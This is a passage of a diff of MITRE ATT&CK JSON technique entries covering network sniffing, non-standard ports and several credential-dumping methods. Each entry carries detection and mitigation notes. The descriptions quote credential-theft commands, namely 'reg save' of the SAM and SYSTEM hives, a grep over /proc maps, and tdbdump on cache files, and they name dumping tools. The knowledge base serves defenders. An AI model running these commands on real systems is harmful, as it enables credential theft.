"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:41.399000+00:00", + "modified": "2024-10-15 15:11:55.217000+00:00", + "name": "Network Sniffing", + "description": "Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or [Defense Evasion](https://attack.mitre.org/tactics/TA0005) activities. Adversaries may likely also utilize network sniffing during [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) (AiTM) to passively gain additional knowledge about the environment.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)\n\nOn network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1040", + "external_id": "T1040" + }, + { + "source_name": "AWS Traffic Mirroring", + "description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.", + "url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html" + }, + { + "source_name": "capture_embedded_packet_on_software", + "description": "Cisco. (2022, August 17). Configure and Capture Embedded Packet on Software. Retrieved July 13, 2022.", + "url": "https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/ios-embedded-packet-capture/116045-productconfig-epc-00.html" + }, + { + "source_name": "GCP Packet Mirroring", + "description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.", + "url": "https://cloud.google.com/vpc/docs/packet-mirroring" + }, + { + "source_name": "SpecterOps AWS Traffic Mirroring", + "description": "Luke Paine. (2020, March 11). Through the Looking Glass \u2014 Part 1. Retrieved March 17, 2022.", + "url": "https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512" + }, + { + "source_name": "Azure Virtual Network TAP", + "description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.", + "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview" + }, + { + "source_name": "Rhino Security Labs AWS VPC Traffic Mirroring", + "description": "Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring in AWS. Retrieved March 17, 2022.", + "url": "https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Oleg Kolesnikov, Securonix", + "Tiago Faria, 3CORESec", + "Austin Clark, @c2defense", + "Itamar Mizrahi, Cymptom", + "Eliraz Levi, Hunters" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nIn cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network", + "IaaS" + ], + "x_mitre_system_requirements": [ + "Network interface access and packet capture driver" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:11:55.217000+00:00\", \"old_value\": \"2024-04-19 12:32:44.370000+00:00\"}}}", + "previous_version": "1.6", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1030: Network Segmentation", + "M1032: Multi-factor Authentication", + "M1041: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-14 18:18:32.443000+00:00", + "modified": "2024-09-12 19:37:57.868000+00:00", + "name": "Non-Standard Port", + "description": "Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.\n\nAdversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1571", + "external_id": "T1571" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + }, + { + "source_name": "change_rdp_port_conti", + "description": "The DFIR Report. (2022, March 1). \"Change RDP port\" #ContiLeaks. Retrieved September 12, 2024.", + "url": "https://x.com/TheDFIRReport/status/1498657772254240768" + }, + { + "source_name": "Fortinet Agent Tesla April 2018", + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:37:57.868000+00:00\", \"old_value\": \"2023-02-28 22:28:35.202000+00:00\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"The DFIR Report. (2022, March 1). \\\"Change RDP port\\\" #ContiLeaks. Retrieved September 12, 2024.\", \"old_value\": \"The DFIR Report. (2022, March 1). \\\"Change RDP port\\\" #ContiLeaks. Retrieved March 1, 2022.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://x.com/TheDFIRReport/status/1498657772254240768\", \"old_value\": \"https://twitter.com/TheDFIRReport/status/1498657772254240768\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1030: Network Segmentation", + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:19.735000+00:00", + "modified": "2024-10-15 15:12:43.034000+00:00", + "name": "OS Credential Dumping", + "description": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003", + "external_id": "T1003" + }, + { + "source_name": "Medium Detecting Attempts to Steal Passwords from Memory", + "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea" + }, + { + "source_name": "AdSecurity DCSync Sept 2015", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", + "url": "https://adsecurity.org/?p=1729" + }, + { + "source_name": "Microsoft DRSR Dec 2017", + "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/cc228086.aspx" + }, + { + "source_name": "Microsoft NRPC Dec 2017", + "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.", + "url": "https://msdn.microsoft.com/library/cc237008.aspx" + }, + { + "source_name": "Microsoft GetNCCChanges", + "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/dd207691.aspx" + }, + { + "source_name": "Microsoft SAMR", + "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/cc245496.aspx" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Samba DRSUAPI", + "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.", + "url": "https://wiki.samba.org/index.php/DRSUAPI" + }, + { + "source_name": "Harmj0y DCSync Sept 2015", + "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.", + "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/" + }, + { + "source_name": "Brining MimiKatz to Unix", + "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.", + "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Vincent Le Toux", + "Ed Williams, Trustwave, SpiderLabs", + "Tim (Wadhwa-)Brown", + "Yves Yonan" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content", + "Process: Process Creation", + "Network Traffic: Network Traffic Flow", + "File: File Creation", + "Windows Registry: Windows Registry Key Access", + "Process: OS API Execution", + "File: File Access", + "Process: Process Access", + "Command: Command Execution", + "Active Directory: Active Directory Object Access" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "### Windows\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc//maps`, where the `` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:12:43.034000+00:00\", \"old_value\": \"2024-04-18 23:47:41.667000+00:00\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1017: User Training", + "M1025: Privileged Process Integrity", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1028: Operating System Configuration", + "M1040: Behavior Prevention on Endpoint", + "M1041: Encrypt Sensitive Information", + "M1043: Credential Access Protection" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Access)", + "DS0026: Active Directory (Active Directory Object Access)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 15:42:25.991000+00:00", + "modified": "2024-10-15 14:18:59.123000+00:00", + "name": "Cached Domain Credentials", + "description": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nOn Linux systems, Active Directory credentials can be accessed through caches maintained by software like System Security Services Daemon (SSSD) or Quest Authentication Services (formerly VAS). Cached credential hashes are typically located at `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb` for Quest. Adversaries can use utilities, such as `tdbdump`, on these database files to dump the cached hashes and use [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to obtain the plaintext password.(Citation: Brining MimiKatz to Unix) \n\nWith SYSTEM or sudo access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py for Windows or Linikatz for Linux can be used to extract the cached credentials.(Citation: Brining MimiKatz to Unix)\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003/005", + "external_id": "T1003.005" + }, + { + "source_name": "PassLib mscache", + "description": "Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020.", + "url": "https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html" + }, + { + "source_name": "ired mscache", + "description": "Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020.", + "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials" + }, + { + "source_name": "Microsoft - Cached Creds", + "description": "Microsoft. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Brining MimiKatz to Unix", + "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.", + "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Ed Williams, Trustwave, SpiderLabs", + "Tim (Wadhwa-)Brown", + "Yves Yonan" + ], + "x_mitre_data_sources": [ + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nDetection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 14:18:59.123000+00:00\", \"old_value\": \"2024-04-18 23:47:54.553000+00:00\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1017: User Training", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:46:24.434000+00:00", + "modified": "2024-10-15 15:13:32.253000+00:00", + "name": "Proc Filesystem", + "description": "Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc//maps` file shows how memory is mapped within the process\u2019s virtual address space. And `/proc//mem`, exposed for debugging purposes, provides access to the process\u2019s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)\n\nWhen executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as grep -E \"^[0-9a-f-]* r\" /proc/\"$pid\"/maps | cut -d' ' -f 1, to look for fixed strings in memory structures or cached hashes.(Citation: atomic-red proc file system) When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process\u2019s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)\n\nIf running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003/007", + "external_id": "T1003.007" + }, + { + "source_name": "atomic-red proc file system", + "description": "Atomic Red Team. (2023, November). T1003.007 - OS Credential Dumping: Proc Filesystem. Retrieved March 28, 2024.", + "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md" + }, + { + "source_name": "baeldung Linux proc map 2022", + "description": "baeldung. (2022, April 8). Understanding the Linux /proc/id/maps File. Retrieved March 31, 2023.", + "url": "https://www.baeldung.com/linux/proc-id-maps" + }, + { + "source_name": "Polop Linux PrivEsc Gitbook", + "description": "Carlos Polop. (2023, March 5). Linux Privilege Escalation. Retrieved March 31, 2023.", + "url": "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#proc-usdpid-maps-and-proc-usdpid-mem" + }, + { + "source_name": "MimiPenguin GitHub May 2017", + "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.", + "url": "https://github.com/huntergregal/mimipenguin" + }, + { + "source_name": "Picus Labs Proc cump 2022", + "description": "Huseyin Can YUCEEL & Picus Labs. (2022, March 22). Retrieved March 31, 2023.", + "url": "https://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Tim (Wadhwa-)Brown" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Access" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "To obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/PID/maps`, where the `PID` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:13:32.253000+00:00\", \"old_value\": \"2024-04-10 16:41:01.496000+00:00\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:42:07.281000+00:00", + "modified": "2024-10-15 16:40:52.174000+00:00", + "name": "Security Account Manager", + "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n\n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1003/002", + "external_id": "T1003.002" + }, + { + "source_name": "GitHub Creddump7", + "description": "Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.", + "url": "https://github.com/Neohapsis/creddump7" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Ed Williams, Trustwave, SpiderLabs", + "Olaf Hartong, Falcon Force" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Access", + "Windows Registry: Windows Registry Key Access", + "File: File Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:40:52.174000+00:00\", \"old_value\": \"2023-07-24 18:53:10.860000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", + "created_by_ref": 